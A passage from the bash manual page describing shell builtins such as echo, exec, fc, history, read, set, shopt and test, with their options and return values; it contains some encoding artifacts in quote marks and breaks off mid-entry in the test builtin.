                     fixing each entry with its index in the stack.

              The return value is 0 unless an invalid option is supplied or  n
              indexes beyond the end of the directory stack.

       disown [-ar] [-h] [jobspec ...]
              Without  options,  each  jobspec  is  removed  from the table of
              active jobs.  If the -h option is given,  each  jobspec  is  not
              removed from the table, but is marked so that SIGHUP is not sent
              to the job if the shell receives a SIGHUP.   If  no  jobspec  is
              present,  and  neither the -a nor the -r option is supplied, the
              current job is used.  If no jobspec is supplied, the  -a  option
              means  to  remove or mark all jobs; the -r option without a job-
              spec argument restricts operation to running jobs.   The  return
              value is 0 unless a jobspec does not specify a valid job.

       echo [-neE] [arg ...]
              Output  the  args,  separated  by spaces, followed by a newline.
              The return status is always 0.  If -n is specified, the trailing
              newline  is  suppressed.  If the -e option is given, interpreta-
              tion of the following backslash-escaped characters  is  enabled.
              The  -E option disables the interpretation of these escape char-
              acters, even on systems where they are interpreted  by  default.
              The  xpg_echo  shell option may be used to dynamically determine
              whether or not echo expands these escape characters by  default.
              echo  does  not  interpret  -- to mean the end of options.  echo
              interprets the following escape sequences:
              \a     alert (bell)
              \b     backspace
              \c     suppress trailing newline
              \e     an escape character
              \f     form feed
              \n     new line
              \r     carriage return
              \t     horizontal tab
              \v     vertical tab
              \\     backslash
              nnn  the eight-bit character whose value is  the  octal  value
                     nnn (zero to three octal digits)
              \xHH   the  eight-bit  character  whose value is the hexadecimal
                     value HH (one or two hex digits)

       enable [-adnps] [-f filename] [name ...]
              Enable and disable builtin shell commands.  Disabling a  builtin
              allows a disk command which has the same name as a shell builtin
              to be executed without specifying a full pathname,  even  though
              the  shell  normally searches for builtins before disk commands.
              If -n is used, each  name  is  disabled;  otherwise,  names  are
              enabled.  For example, to use the test binary found via the PATH
              instead of the shell builtin version, run  ââenable  -n  testââ.
              The  -f  option  means to load the new builtin command name from
              shared object filename, on systems that support dynamic loading.
              The  -d  option will delete a builtin previously loaded with -f.
              If no name arguments are given, or if the -p option is supplied,
              a list of shell builtins is printed.  With no other option argu-
              ments, the list consists of all enabled shell builtins.   If  -n
              is  supplied, only disabled builtins are printed.  If -a is sup-
              plied, the list printed includes all builtins, with  an  indica-
              tion  of whether or not each is enabled.  If -s is supplied, the
              output is restricted to the POSIX special builtins.  The  return
              value  is  0 unless a name is not a shell builtin or there is an
              error loading a new builtin from a shared object.

       eval [arg ...]
              The args are read and concatenated together into a  single  com-
              mand.   This command is then read and executed by the shell, and
              its exit status is returned as the value of eval.  If there  are
              no args, or only null arguments, eval returns 0.

       exec [-cl] [-a name] [command [arguments]]
              If  command is specified, it replaces the shell.  No new process
              is created.  The arguments become the arguments to command.   If
              the -l option is supplied, the shell places a dash at the begin-
              ning of the zeroth arg passed to command.  This is what login(1)
              does.  The -c option causes command to be executed with an empty
              environment.  If -a is supplied, the shell passes  name  as  the
              zeroth  argument  to the executed command.  If command cannot be
              executed for some reason, a non-interactive shell exits,  unless
              the  shell  option execfail is enabled, in which case it returns
              failure.  An interactive shell returns failure if the file  can-
              not  be executed.  If command is not specified, any redirections
              take effect in the current shell, and the return  status  is  0.
              If there is a redirection error, the return status is 1.

       exit [n]
              Cause  the  shell  to exit with a status of n.  If n is omitted,
              the exit status is that of the last command executed.  A trap on
              EXIT is executed before the shell terminates.

       export [-fn] [name[=word]] ...
       export -p
              The  supplied names are marked for automatic export to the envi-
              ronment of subsequently executed commands.  If the -f option  is
              given,  the names refer to functions.  If no names are given, or
              if the -p option is supplied, a  list  of  all  names  that  are
              exported  in  this  shell  is printed.  The -n option causes the
              export property to be removed from each  name.   If  a  variable
              name  is  followed by =word, the value of the variable is set to
              word.  export returns an exit status  of  0  unless  an  invalid
              option  is  encountered,  one  of the names is not a valid shell
              variable name, or -f is supplied with a name that is not a func-
              tion.

       fc [-e ename] [-nlr] [first] [last]
       fc -s [pat=rep] [cmd]
              Fix  Command.  In the first form, a range of commands from first
              to last is selected from the history list.  First and  last  may
              be  specified  as a string (to locate the last command beginning
              with that string) or as a number  (an  index  into  the  history
              list, where a negative number is used as an offset from the cur-
              rent command number).  If last is not specified it is set to the
              current  command  for  listing (so that ââfc -l -10ââ prints the
              last 10 commands) and to first otherwise.  If first is not spec-
              ified  it is set to the previous command for editing and -16 for
              listing.

              The -n option suppresses the command numbers when listing.   The
              -r  option reverses the order of the commands.  If the -l option
              is given, the commands are listed on  standard  output.   Other-
              wise,  the editor given by ename is invoked on a file containing
              those commands.  If ename is not given, the value of the  FCEDIT
              variable  is used, and the value of EDITOR if FCEDIT is not set.
              If neither variable is set, is used.  When editing is  complete,
              the edited commands are echoed and executed.

              In  the  second form, command is re-executed after each instance
              of pat is replaced by rep.  A useful alias to use with  this  is
              ââr="fc  -s"ââ,  so  that  typing ââr ccââ runs the last command
              beginning with ââccââ and typing âârââ re-executes the last com-
              mand.

              If  the  first  form  is  used,  the return value is 0 unless an
              invalid option is encountered or first or last  specify  history
              lines  out  of  range.  If the -e option is supplied, the return
              value is the value of the last command executed or failure if an
              error occurs with the temporary file of commands.  If the second
              form is used, the return status is that of the  command  re-exe-
              cuted,  unless  cmd  does  not  specify a valid history line, in
              which case fc returns failure.

       fg [jobspec]
              Resume jobspec in the foreground, and make it the  current  job.
              If jobspec is not present, the shellâs notion of the current job
              is used.  The return value is that of the  command  placed  into
              the  foreground,  or failure if run when job control is disabled
              or, when run with job control enabled, if jobspec does not spec-
              ify  a  valid  job  or  jobspec specifies a job that was started
              without job control.

       getopts optstring name [args]
              getopts is used by shell procedures to parse positional  parame-
              ters.   optstring  contains  the  option characters to be recog-
              nized; if a character is followed by  a  colon,  the  option  is
              expected  to have an argument, which should be separated from it
              by white space.  The colon and question mark characters may  not
              be  used as option characters.  Each time it is invoked, getopts
              places the next option in the shell variable name,  initializing
              name if it does not exist, and the index of the next argument to
              be processed into the variable OPTIND.  OPTIND is initialized to
              1  each  time  the  shell or a shell script is invoked.  When an
              option requires an argument, getopts places that  argument  into
              the  variable OPTARG.  The shell does not reset OPTIND automati-
              cally; it must be  manually  reset  between  multiple  calls  to
              getopts within the same shell invocation if a new set of parame-
              ters is to be used.

              When the end of options is encountered,  getopts  exits  with  a
              return  value  greater than zero.  OPTIND is set to the index of
              the first non-option argument, and name is set to ?.

              getopts normally parses the positional parameters, but  if  more
              arguments are given in args, getopts parses those instead.

              getopts  can  report errors in two ways.  If the first character
              of optstring is a colon, silent error  reporting  is  used.   In
              normal  operation  diagnostic  messages are printed when invalid
              options or missing option arguments  are  encountered.   If  the
              variable  OPTERR  is  set  to  0, no error messages will be dis-
              played, even if the first character of optstring is not a colon.

              If an invalid option is seen, getopts places ? into name and, if
              not silent, prints an  error  message  and  unsets  OPTARG.   If
              getopts  is  silent,  the  option  character  found is placed in
              OPTARG and no diagnostic message is printed.

              If a required argument is not found, and getopts is not  silent,
              a  question  mark  (?) is placed in name, OPTARG is unset, and a
              diagnostic message is printed.  If getopts  is  silent,  then  a
              colon  (:)  is  placed  in  name and OPTARG is set to the option
              character found.

              getopts returns true if an option, specified or unspecified,  is
              found.  It returns false if the end of options is encountered or
              an error occurs.

       hash [-lr] [-p filename] [-dt] [name]
              For each name, the full file name of the command  is  determined
              by searching the directories in $PATH and remembered.  If the -p
              option is supplied, no path search is performed, and filename is
              used as the full file name of the command.  The -r option causes
              the shell to forget all remembered  locations.   The  -d  option
              causes the shell to forget the remembered location of each name.
              If the -t option is supplied, the full pathname  to  which  each
              name  corresponds  is  printed.   If multiple name arguments are
              supplied with -t, the name is printed  before  the  hashed  full
              pathname.  The -l option causes output to be displayed in a for-
              mat that may be reused as input.  If no arguments are given,  or
              if only -l is supplied, information about remembered commands is
              printed.  The return status is true unless a name is  not  found
              or an invalid option is supplied.

       help [-s] [pattern]
              Display  helpful information about builtin commands.  If pattern
              is specified, help gives detailed help on all commands  matching
              pattern;  otherwise  help for all the builtins and shell control
              structures is printed.  The -s option restricts the  information
              displayed  to  a  short  usage synopsis.  The return status is 0
              unless no command matches pattern.

       history [n]
       history -c
       history -d offset
       history -anrw [filename]
       history -p arg [arg ...]
       history -s arg [arg ...]
              With no options, display the command history list with line num-
              bers.  Lines listed with a * have been modified.  An argument of
              n lists only the last n lines.  If the shell variable  HISTTIME-
              FORMAT  is  set  and not null, it is used as a format string for
              strftime(3) to display the time stamp associated with each  dis-
              played  history  entry.  No intervening blank is printed between
              the formatted time stamp and the history line.  If  filename  is
              supplied,  it  is  used as the name of the history file; if not,
              the value of HISTFILE is used.  Options, if supplied,  have  the
              following meanings:
              -c     Clear the history list by deleting all the entries.
              -d offset
                     Delete the history entry at position offset.
              -a     Append  the  âânewââ history lines (history lines entered
                     since the beginning of the current bash session)  to  the
                     history file.
              -n     Read  the history lines not already read from the history
                     file into the current  history  list.   These  are  lines
                     appended  to  the history file since the beginning of the
                     current bash session.
              -r     Read the contents of the history file and use them as the
                     current history.
              -w     Write  the current history to the history file, overwrit-
                     ing the history fileâs contents.
              -p     Perform history substitution on the  following  args  and
                     display  the  result  on  the  standard output.  Does not
                     store the results in the history list.  Each arg must  be
                     quoted to disable normal history expansion.
              -s     Store  the  args  in  the history list as a single entry.
                     The last command in the history list  is  removed  before
                     the args are added.

              If the HISTTIMEFORMAT is set, the time stamp information associ-
              ated with each history entry is written  to  the  history  file.
              The  return  value is 0 unless an invalid option is encountered,
              an error occurs while reading or writing the  history  file,  an
              invalid  offset is supplied as an argument to -d, or the history
              expansion supplied as an argument to -p fails.

       jobs [-lnprs] [ jobspec ... ]
       jobs -x command [ args ... ]
              The first form lists the active jobs.  The options have the fol-
              lowing meanings:
              -l     List process IDs in addition to the normal information.
              -p     List  only  the  process  ID  of  the jobâs process group
                     leader.
              -n     Display information only about  jobs  that  have  changed
                     status  since the user was last notified of their status.
              -r     Restrict output to running jobs.
              -s     Restrict output to stopped jobs.

              If jobspec is given, output is restricted to  information  about
              that  job.   The  return status is 0 unless an invalid option is
              encountered or an invalid jobspec is supplied.

              If the -x option is supplied, jobs replaces any jobspec found in
              command  or  args  with  the corresponding process group ID, and
              executes command passing it args, returning its exit status.

       kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ...
       kill -l [sigspec | exit_status]
              Send the signal named by sigspec  or  signum  to  the  processes
              named  by  pid or jobspec.  sigspec is either a case-insensitive
              signal name such as SIGKILL (with or without the SIG prefix)  or
              a  signal  number; signum is a signal number.  If sigspec is not
              present, then SIGTERM is assumed.  An argument of -l  lists  the
              signal  names.   If any arguments are supplied when -l is given,
              the names of the signals  corresponding  to  the  arguments  are
              listed, and the return status is 0.  The exit_status argument to
              -l is a number specifying either a signal  number  or  the  exit
              status  of  a process terminated by a signal.  kill returns true
              if at least one signal was successfully sent,  or  false  if  an
              error occurs or an invalid option is encountered.

       let arg [arg ...]
              Each arg is an arithmetic expression to be evaluated (see ARITH-
              METIC EVALUATION).  If the last arg evaluates to 0, let  returns
              1; 0 is returned otherwise.

       local [option] [name[=value] ...]
              For  each  argument, a local variable named name is created, and
              assigned value.  The option can be any of the  options  accepted
              by declare.  When local is used within a function, it causes the
              variable name to have a visible scope restricted to  that  func-
              tion and its children.  With no operands, local writes a list of
              local variables to the standard output.  It is an error  to  use
              local when not within a function.  The return status is 0 unless
              local is used outside a function, an invalid name  is  supplied,
              or name is a readonly variable.

       logout Exit a login shell.

       popd [-n] [+n] [-n]
              Removes  entries  from  the directory stack.  With no arguments,
              removes the top directory from the stack, and performs a  cd  to
              the new top directory.  Arguments, if supplied, have the follow-
              ing meanings:
              +n     Removes the nth entry counting from the left of the  list
                     shown  by  dirs, starting with zero.  For example: ââpopd
                     +0ââ removes the first directory, ââpopd +1ââ the second.
              -n     Removes the nth entry counting from the right of the list
                     shown by dirs, starting with zero.  For  example:  ââpopd
                     -0ââ  removes the last directory, ââpopd -1ââ the next to
                     last.
              -n     Suppresses the normal change of directory  when  removing
                     directories  from  the  stack,  so that only the stack is
                     manipulated.

              If the popd command is successful, a dirs is performed as  well,
              and  the  return  status is 0.  popd returns false if an invalid
              option is encountered, the directory stack is empty, a non-exis-
              tent directory stack entry is specified, or the directory change
              fails.

       printf [-v var] format [arguments]
              Write the formatted arguments to the standard output  under  the
              control  of  the format.  The format is a character string which
              contains three types of objects:  plain  characters,  which  are
              simply  copied  to  standard output, character escape sequences,
              which are converted and copied to the standard output, and  for-
              mat  specifications,  each  of which causes printing of the next
              successive argument.  In addition to the standard printf(1) for-
              mats,  %b  causes printf to expand backslash escape sequences in
              the corresponding argument (except that  \c  terminates  output,
              backslashes in \', \", and \? are not removed, and octal escapes
              beginning with  may contain up to four digits), and %q  causes
              printf to output the corresponding argument in a format that can
              be reused as shell input.

              The -v option causes the output to be assigned to  the  variable
              var rather than being printed to the standard output.

              The  format  is  reused as necessary to consume all of the argu-
              ments.  If the format requires more arguments than are supplied,
              the  extra  format  specifications  behave as if a zero value or
              null string, as appropriate,  had  been  supplied.   The  return
              value is zero on success, non-zero on failure.

       pushd [-n] [dir]
       pushd [-n] [+n] [-n]
              Adds  a  directory to the top of the directory stack, or rotates
              the stack, making the new top of the stack the  current  working
              directory.  With no arguments, exchanges the top two directories
              and returns 0, unless the directory stack is empty.   Arguments,
              if supplied, have the following meanings:
              +n     Rotates  the  stack  so  that the nth directory (counting
                     from the left of the list shown by  dirs,  starting  with
                     zero) is at the top.
              -n     Rotates  the  stack  so  that the nth directory (counting
                     from the right of the list shown by dirs,  starting  with
                     zero) is at the top.
              -n     Suppresses  the  normal  change  of directory when adding
                     directories to the stack,  so  that  only  the  stack  is
                     manipulated.
              dir    Adds dir to the directory stack at the top, making it the
                     new current working directory.

              If the pushd command is successful, a dirs is performed as well.
              If  the first form is used, pushd returns 0 unless the cd to dir
              fails.  With the second form, pushd returns 0 unless the  direc-
              tory  stack  is empty, a non-existent directory stack element is
              specified, or the directory change to the specified new  current
              directory fails.

       pwd [-LP]
              Print  the  absolute  pathname of the current working directory.
              The pathname printed contains no symbolic links if the -P option
              is supplied or the -o physical option to the set builtin command
              is enabled.  If the -L option is used, the pathname printed  may
              contain  symbolic links.  The return status is 0 unless an error
              occurs while reading the name of the  current  directory  or  an
              invalid option is supplied.

       read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d
       delim] [name ...]
              One  line  is  read  from  the  standard input, or from the file
              descriptor fd supplied as an argument to the -u option, and  the
              first word is assigned to the first name, the second word to the
              second name, and so on, with leftover words and their  interven-
              ing  separators  assigned  to the last name.  If there are fewer
              words read from the input stream than names, the remaining names
              are  assigned  empty  values.  The characters in IFS are used to
              split the line into words.  The backslash character (\)  may  be
              used  to  remove any special meaning for the next character read
              and for line continuation.  Options, if supplied, have the  fol-
              lowing meanings:
              -a aname
                     The words are assigned to sequential indices of the array
                     variable aname, starting at 0.  aname is unset before any
                     new  values  are  assigned.   Other  name  arguments  are
                     ignored.
              -d delim
                     The first character of delim is  used  to  terminate  the
                     input line, rather than newline.
              -e     If the standard input is coming from a terminal, readline
                     (see READLINE above) is used to obtain the line.
              -n nchars
                     read returns after reading nchars characters rather  than
                     waiting for a complete line of input.
              -p prompt
                     Display prompt on standard error, without a trailing new-
                     line, before attempting to read any input.  The prompt is
                     displayed only if input is coming from a terminal.
              -r     Backslash does not act as an escape character.  The back-
                     slash is considered to be part of the line.  In  particu-
                     lar,  a  backslash-newline pair may not be used as a line
                     continuation.
              -s     Silent mode.  If input is coming from a terminal, charac-
                     ters are not echoed.
              -t timeout
                     Cause  read  to time out and return failure if a complete
                     line of input is not read within timeout  seconds.   This
                     option  has  no  effect if read is not reading input from
                     the terminal or a pipe.
              -u fd  Read input from file descriptor fd.

              If no names are supplied, the line read is assigned to the vari-
              able  REPLY.   The  return  code  is zero, unless end-of-file is
              encountered, read times out, or an invalid  file  descriptor  is
              supplied as the argument to -u.

       readonly [-apf] [name[=word] ...]
              The  given  names are marked readonly; the values of these names
              may not be changed by subsequent assignment.  If the  -f  option
              is  supplied,  the  functions  corresponding to the names are so
              marked.  The -a option restricts the variables to arrays.  If no
              name  arguments  are  given,  or if the -p option is supplied, a
              list of all readonly names is printed.   The  -p  option  causes
              output  to be displayed in a format that may be reused as input.
              If a variable name is followed by =word, the value of the  vari-
              able  is  set to word.  The return status is 0 unless an invalid
              option is encountered, one of the names is  not  a  valid  shell
              variable  name,  or  -f  is  supplied  with a name that is not a
              function.

       return [n]
              Causes a function to exit with the return value specified by  n.
              If  n  is omitted, the return status is that of the last command
              executed in the function body.  If used outside a function,  but
              during  execution  of  a  script  by the .  (source) command, it
              causes the shell to stop executing that script and return either
              n  or  the  exit  status of the last command executed within the
              script as the exit status of the  script.   If  used  outside  a
              function  and  not during execution of a script by ., the return
              status is false.  Any command associated with the RETURN trap is
              executed  before execution resumes after the function or script.

       set [--abefhkmnptuvxBCHP] [-o option] [arg ...]
              Without options, the name and value of each shell  variable  are
              displayed in a format that can be reused as input for setting or
              resetting the currently-set variables.  Read-only variables can-
              not  be  reset.  In posix mode, only shell variables are listed.
              The output is sorted according  to  the  current  locale.   When
              options  are specified, they set or unset shell attributes.  Any
              arguments remaining after the options are processed are  treated
              as  values  for  the  positional parameters and are assigned, in
              order, to $1, $2, ...  $n.  Options, if specified, have the fol-
              lowing meanings:
              -a      Automatically  mark  variables  and  functions which are
                      modified or created for export  to  the  environment  of
                      subsequent commands.
              -b      Report  the status of terminated background jobs immedi-
                      ately, rather than before the next primary prompt.  This
                      is effective only when job control is enabled.
              -e      Exit  immediately if a simple command (see SHELL GRAMMAR
                      above) exits with a non-zero status.  The shell does not
                      exit  if  the  command that fails is part of the command
                      list immediately following a  while  or  until  keyword,
                      part  of the test in an if statement, part of a && or ââ
                      list, or if the commandâs return value is being inverted
                      via  !.   A  trap on ERR, if set, is executed before the
                      shell exits.
              -f      Disable pathname expansion.
              -h      Remember the location of commands as they are looked  up
                      for execution.  This is enabled by default.
              -k      All  arguments  in the form of assignment statements are
                      placed in the environment for a command, not just  those
                      that precede the command name.
              -m      Monitor  mode.   Job control is enabled.  This option is
                      on by default for interactive  shells  on  systems  that
                      support  it  (see  JOB  CONTROL above).  Background pro-
                      cesses run in a separate process group and a  line  con-
                      taining  their exit status is printed upon their comple-
                      tion.
              -n      Read commands but do not execute them.  This may be used
                      to  check  a  shell  script  for syntax errors.  This is
                      ignored by interactive shells.
              -o option-name
                      The option-name can be one of the following:
                      allexport
                              Same as -a.
                      braceexpand
                              Same as -B.
                      emacs   Use an emacs-style command line  editing  inter-
                              face.  This is enabled by default when the shell
                              is interactive, unless the shell is started with
                              the --noediting option.
                      errtrace
                              Same as -E.
                      functrace
                              Same as -T.
                      errexit Same as -e.
                      hashall Same as -h.
                      histexpand
                              Same as -H.
                      history Enable command history, as described above under
                              HISTORY.  This option is on by default in inter-
                              active shells.
                      ignoreeof
                              The   effect   is   as   if  the  shell  command
                              ââIGNOREEOF=10ââ had been  executed  (see  Shell
                              Variables above).
                      keyword Same as -k.
                      monitor Same as -m.
                      noclobber
                              Same as -C.
                      noexec  Same as -n.
                      noglob  Same as -f.  nolog Currently ignored.
                      notify  Same as -b.
                      nounset Same as -u.
                      onecmd  Same as -t.
                      physical
                              Same as -P.
                      pipefail
                              If  set,  the  return value of a pipeline is the
                              value of the last (rightmost)  command  to  exit
                              with  a non-zero status, or zero if all commands
                              in the pipeline exit successfully.  This  option
                              is disabled by default.
                      posix   Change  the  behavior  of bash where the default
                              operation differs from  the  POSIX  standard  to
                              match the standard (posix mode).
                      privileged
                              Same as -p.
                      verbose Same as -v.
                      vi      Use a vi-style command line editing interface.
                      xtrace  Same as -x.
                      If -o is supplied with no option-name, the values of the
                      current options are printed.  If +o is supplied with  no
                      option-name,  a  series  of set commands to recreate the
                      current option settings is  displayed  on  the  standard
                      output.
              -p      Turn  on  privileged  mode.   In this mode, the $ENV and
                      $BASH_ENV files are not processed, shell  functions  are
                      not  inherited  from  the environment, and the SHELLOPTS
                      variable, if it appears in the environment, is  ignored.
                      If  the shell is started with the effective user (group)
                      id not equal to the real user (group)  id,  and  the  -p
                      option  is not supplied, these actions are taken and the
                      effective user id is set to the real user id.  If the -p
                      option  is supplied at startup, the effective user id is
                      not reset.  Turning this option off causes the effective
                      user  and group ids to be set to the real user and group
                      ids.
              -t      Exit after reading and executing one command.
              -u      Treat unset variables as an error when performing param-
                      eter  expansion.   If expansion is attempted on an unset
                      variable, the shell prints an error message, and, if not
                      interactive, exits with a non-zero status.
              -v      Print shell input lines as they are read.
              -x      After  expanding  each simple command, for command, case
                      command, select command, or arithmetic for command, dis-
                      play  the expanded value of PS4, followed by the command
                      and its expanded arguments or associated word list.
              -B      The shell performs brace expansion (see Brace  Expansion
                      above).  This is on by default.
              -C      If  set,  bash  does not overwrite an existing file with
                      the >, >&, and <> redirection operators.   This  may  be
                      overridden when creating output files by using the redi-
                      rection operator >| instead of >.
              -E      If set, any trap on ERR is inherited by shell functions,
                      command  substitutions,  and commands executed in a sub-
                      shell environment.  The ERR trap is normally not  inher-
                      ited in such cases.
              -H      Enable !  style history substitution.  This option is on
                      by default when the shell is interactive.
              -P      If set, the shell does not follow  symbolic  links  when
                      executing  commands  such  as cd that change the current
                      working  directory.   It  uses  the  physical  directory
                      structure instead.  By default, bash follows the logical
                      chain of  directories  when  performing  commands  which
                      change the current directory.
              -T      If  set,  any traps on DEBUG and RETURN are inherited by
                      shell functions,  command  substitutions,  and  commands
                      executed  in  a  subshell  environment.   The  DEBUG and
                      RETURN traps are normally not inherited in such cases.
              --      If no arguments follow this option, then the  positional
                      parameters are unset.  Otherwise, the positional parame-
                      ters are set to the args, even if  some  of  them  begin
                      with a -.
              -       Signal  the  end of options, cause all remaining args to
                      be assigned to the positional parameters.  The -x and -v
                      options are turned off.  If there are no args, the posi-
                      tional parameters remain unchanged.

              The options are off by default unless otherwise noted.  Using  +
              rather  than  -  causes  these  options  to  be turned off.  The
              options can also be specified as arguments to an  invocation  of
              the  shell.  The current set of options may be found in $-.  The
              return status is always true unless an invalid option is encoun-
              tered.

       shift [n]
              The  positional  parameters  from n+1 ... are renamed to $1 ....
              Parameters represented by the numbers  $#  down  to  $#-n+1  are
              unset.   n  must  be a non-negative number less than or equal to
              $#.  If n is 0, no parameters are changed.  If n is  not  given,
              it  is assumed to be 1.  If n is greater than $#, the positional
              parameters are not changed.  The return status is  greater  than
              zero if n is greater than $# or less than zero; otherwise 0.

       shopt [-pqsu] [-o] [optname ...]
              Toggle the values of variables controlling optional shell behav-
              ior.  With no options, or with the -p option, a list of all set-
              table options is displayed, with an indication of whether or not
              each is set.  The -p option causes output to be displayed  in  a
              form  that  may be reused as input.  Other options have the fol-
              lowing meanings:
              -s     Enable (set) each optname.
              -u     Disable (unset) each optname.
              -q     Suppresses normal output (quiet mode); the return  status
                     indicates  whether  the  optname  is  set  or  unset.  If
                     multiple optname arguments are given with -q, the  return
                     status is zero if all optnames are enabled; non-zero oth-
                     erwise.
              -o     Restricts the values of optname to be those  defined  for
                     the -o option to the set builtin.

              If  either  -s or -u is used with no optname arguments, the dis-
              play is limited to those options which are set or unset, respec-
              tively.   Unless otherwise noted, the shopt options are disabled
              (unset) by default.

              The return status when listing options is zero if  all  optnames
              are  enabled,  non-zero  otherwise.   When  setting or unsetting
              options, the return status is zero unless an optname  is  not  a
              valid shell option.

              The list of shopt options is:

              cdable_vars
                      If  set,  an  argument to the cd builtin command that is
                      not a directory is assumed to be the name of a  variable
                      whose value is the directory to change to.
              cdspell If set, minor errors in the spelling of a directory com-
                      ponent in a cd command will be  corrected.   The  errors
                      checked for are transposed characters, a missing charac-
                      ter, and one character too many.   If  a  correction  is
                      found,  the corrected file name is printed, and the com-
                      mand proceeds.  This option is only used by  interactive
                      shells.
              checkhash
                      If set, bash checks that a command found in the hash ta-
                      ble exists before trying to execute  it.   If  a  hashed
                      command  no  longer exists, a normal path search is per-
                      formed.
              checkwinsize
                      If set, bash checks the window size after  each  command
                      and,  if  necessary,  updates  the  values  of LINES and
                      COLUMNS.
              cmdhist If set, bash attempts to save all lines of  a  multiple-
                      line  command  in  the  same history entry.  This allows
                      easy re-editing of multi-line commands.
              dotglob If set, bash includes filenames beginning with a â.â  in
                      the results of pathname expansion.
              execfail
                      If set, a non-interactive shell will not exit if it can-
                      not execute the file specified as  an  argument  to  the
                      exec  builtin  command.   An  interactive shell does not
                      exit if exec fails.
              expand_aliases
                      If set, aliases are expanded as  described  above  under
                      ALIASES.  This option is enabled by default for interac-
                      tive shells.
              extdebug
                      If set,  behavior  intended  for  use  by  debuggers  is
                      enabled:
                      1.     The -F option to the declare builtin displays the
                             source file name and line number corresponding to
                             each function name supplied as an argument.
                      2.     If  the  command  run by the DEBUG trap returns a
                             non-zero value, the next command is  skipped  and
                             not executed.
                      3.     If  the  command  run by the DEBUG trap returns a
                             value of 2, and the shell is executing in a  sub-
                             routine  (a shell function or a shell script exe-
                             cuted by the . or source  builtins),  a  call  to
                             return is simulated.
                      4.     BASH_ARGC  and BASH_ARGV are updated as described
                             in their descriptions above.
                      5.     Function tracing is enabled:   command  substitu-
                             tion, shell functions, and subshells invoked with
                             ( command ) inherit the DEBUG and RETURN traps.
                      6.     Error tracing is enabled:  command  substitution,
                             shell  functions,  and  subshells  invoked with (
                             command ) inherit the ERROR trap.
              extglob If set, the extended pattern matching features described
                      above under Pathname Expansion are enabled.
              extquote
                      If  set,  $'string'  and  $"string" quoting is performed
                      within  ${parameter}  expansions  enclosed   in   double
                      quotes.  This option is enabled by default.
              failglob
                      If  set,  patterns  which fail to match filenames during
                      pathname expansion result in an expansion error.
              force_fignore
                      If set, the suffixes  specified  by  the  FIGNORE  shell
                      variable  cause words to be ignored when performing word
                      completion even if the ignored words are the only possi-
                      ble  completions.   See  SHELL  VARIABLES  above  for  a
                      description of  FIGNORE.   This  option  is  enabled  by
                      default.
              gnu_errfmt
                      If set, shell error messages are written in the standard
                      GNU error message format.
              histappend
                      If set, the history list is appended to the  file  named
                      by  the  value  of  the HISTFILE variable when the shell
                      exits, rather than overwriting the file.
              histreedit
                      If set, and readline is being used, a user is given  the
                      opportunity to re-edit a failed history substitution.
              histverify
                      If  set, and readline is being used, the results of his-
                      tory substitution are  not  immediately  passed  to  the
                      shell  parser.   Instead,  the  resulting line is loaded
                      into the readline editing buffer, allowing further modi-
                      fication.
              hostcomplete
                      If set, and readline is being used, bash will attempt to
                      perform hostname completion when a word containing  a  @
                      is   being  completed  (see  Completing  under  READLINE
                      above).  This is enabled by default.
              huponexit
                      If set, bash will send SIGHUP to all jobs when an inter-
                      active login shell exits.
              interactive_comments
                      If set, allow a word beginning with # to cause that word
                      and all remaining characters on that line to be  ignored
                      in  an  interactive  shell  (see  COMMENTS above).  This
                      option is enabled by default.
              lithist If set, and the cmdhist option  is  enabled,  multi-line
                      commands are saved to the history with embedded newlines
                      rather than using semicolon separators where possible.
              login_shell
                      The shell sets this option if it is started as  a  login
                      shell  (see  INVOCATION  above).   The  value may not be
                      changed.
              mailwarn
                      If set, and a file that bash is checking  for  mail  has
                      been  accessed  since  the last time it was checked, the
                      message ââThe mail in mailfile has been readââ  is  dis-
                      played.
              no_empty_cmd_completion
                      If  set,  and  readline  is  being  used,  bash will not
                      attempt to search the PATH for possible completions when
                      completion is attempted on an empty line.
              nocaseglob
                      If  set,  bash  matches  filenames in a case-insensitive
                      fashion when performing pathname expansion (see Pathname
                      Expansion above).
              nocasematch
                      If  set,  bash  matches  patterns  in a case-insensitive
                      fashion when performing matching while executing case or
                      [[ conditional commands.
              nullglob
                      If  set,  bash allows patterns which match no files (see
                      Pathname Expansion above) to expand to  a  null  string,
                      rather than themselves.
              progcomp
                      If set, the programmable completion facilities (see Pro-
                      grammable Completion above) are enabled.  This option is
                      enabled by default.
              promptvars
                      If set, prompt strings undergo parameter expansion, com-
                      mand  substitution,  arithmetic  expansion,  and   quote
                      removal  after  being expanded as described in PROMPTING
                      above.  This option is enabled by default.
              restricted_shell
                      The  shell  sets  this  option  if  it  is  started   in
                      restricted mode (see RESTRICTED SHELL below).  The value
                      may not be changed.  This is not reset when the  startup
                      files  are  executed, allowing the startup files to dis-
                      cover whether or not a shell is restricted.
              shift_verbose
                      If set, the shift builtin prints an error  message  when
                      the shift count exceeds the number of positional parame-
                      ters.
              sourcepath
                      If set, the source (.) builtin uses the value of PATH to
                      find  the  directory  containing the file supplied as an
                      argument.  This option is enabled by default.
              xpg_echo
                      If  set,  the  echo  builtin  expands   backslash-escape
                      sequences by default.
       suspend [-f]
              Suspend  the execution of this shell until it receives a SIGCONT
              signal.  When the suspended shell is a  background  process,  it
              can  be  restarted by the fg command. For more information, read
              the JOB CONTROL section. The suspend command can not suspend the
              login shell.  However, when -f option is specified, suspend com-
              mand can suspend even login  shell.   The  return  status  is  0
              unless  the shell is a login shell and -f is not supplied, or if
              job control is not enabled.
       test expr
       [ expr ]
              Return a status of 0 or 1 depending on  the  evaluation  of  the
              conditional  expression expr.  Each operator and operand must be
              a separate argument.  Expressions are composed of the  primaries
              described  above  under  CONDITIONAL EXPRESSIONS.  test does not
              accept any options, nor does it accept and ignore an argument of
              -- as signifying the end of options.

              Expressions  may  be  combined  using  the  following operators,
              listed in decreasing order of precedence.
              ! expr True if expr is false.
              ( expr )
                     Returns the value of expr.  This may be used to  override
                     the normal precedence of operators.
              expr1 -a expr2
                     True if both expr1 and expr2 are true.
              expr1 -o expr2
                     True if either expr1 or expr2 is true.

              test and [ evaluate conditional expressions using a set of rules
              based on the number of arguments.

              0 arguments
                     The expression is false.
              1 argument
                     The expression is true if and only if the argument is not
                     null.
              2 arguments
                     If the first argument is !, the expression is true if and
                     only if the second argument is null.  If the first  argu-
                     ment  is  one  of  the unary conditional operators listed
                     above under CONDITIONAL EXPRESSIONS,  the  expression  is
                     true if the unary test is true.  If the first argument is
                     not a valid unary conditional operator, the expression is
                     false.
              3 arguments
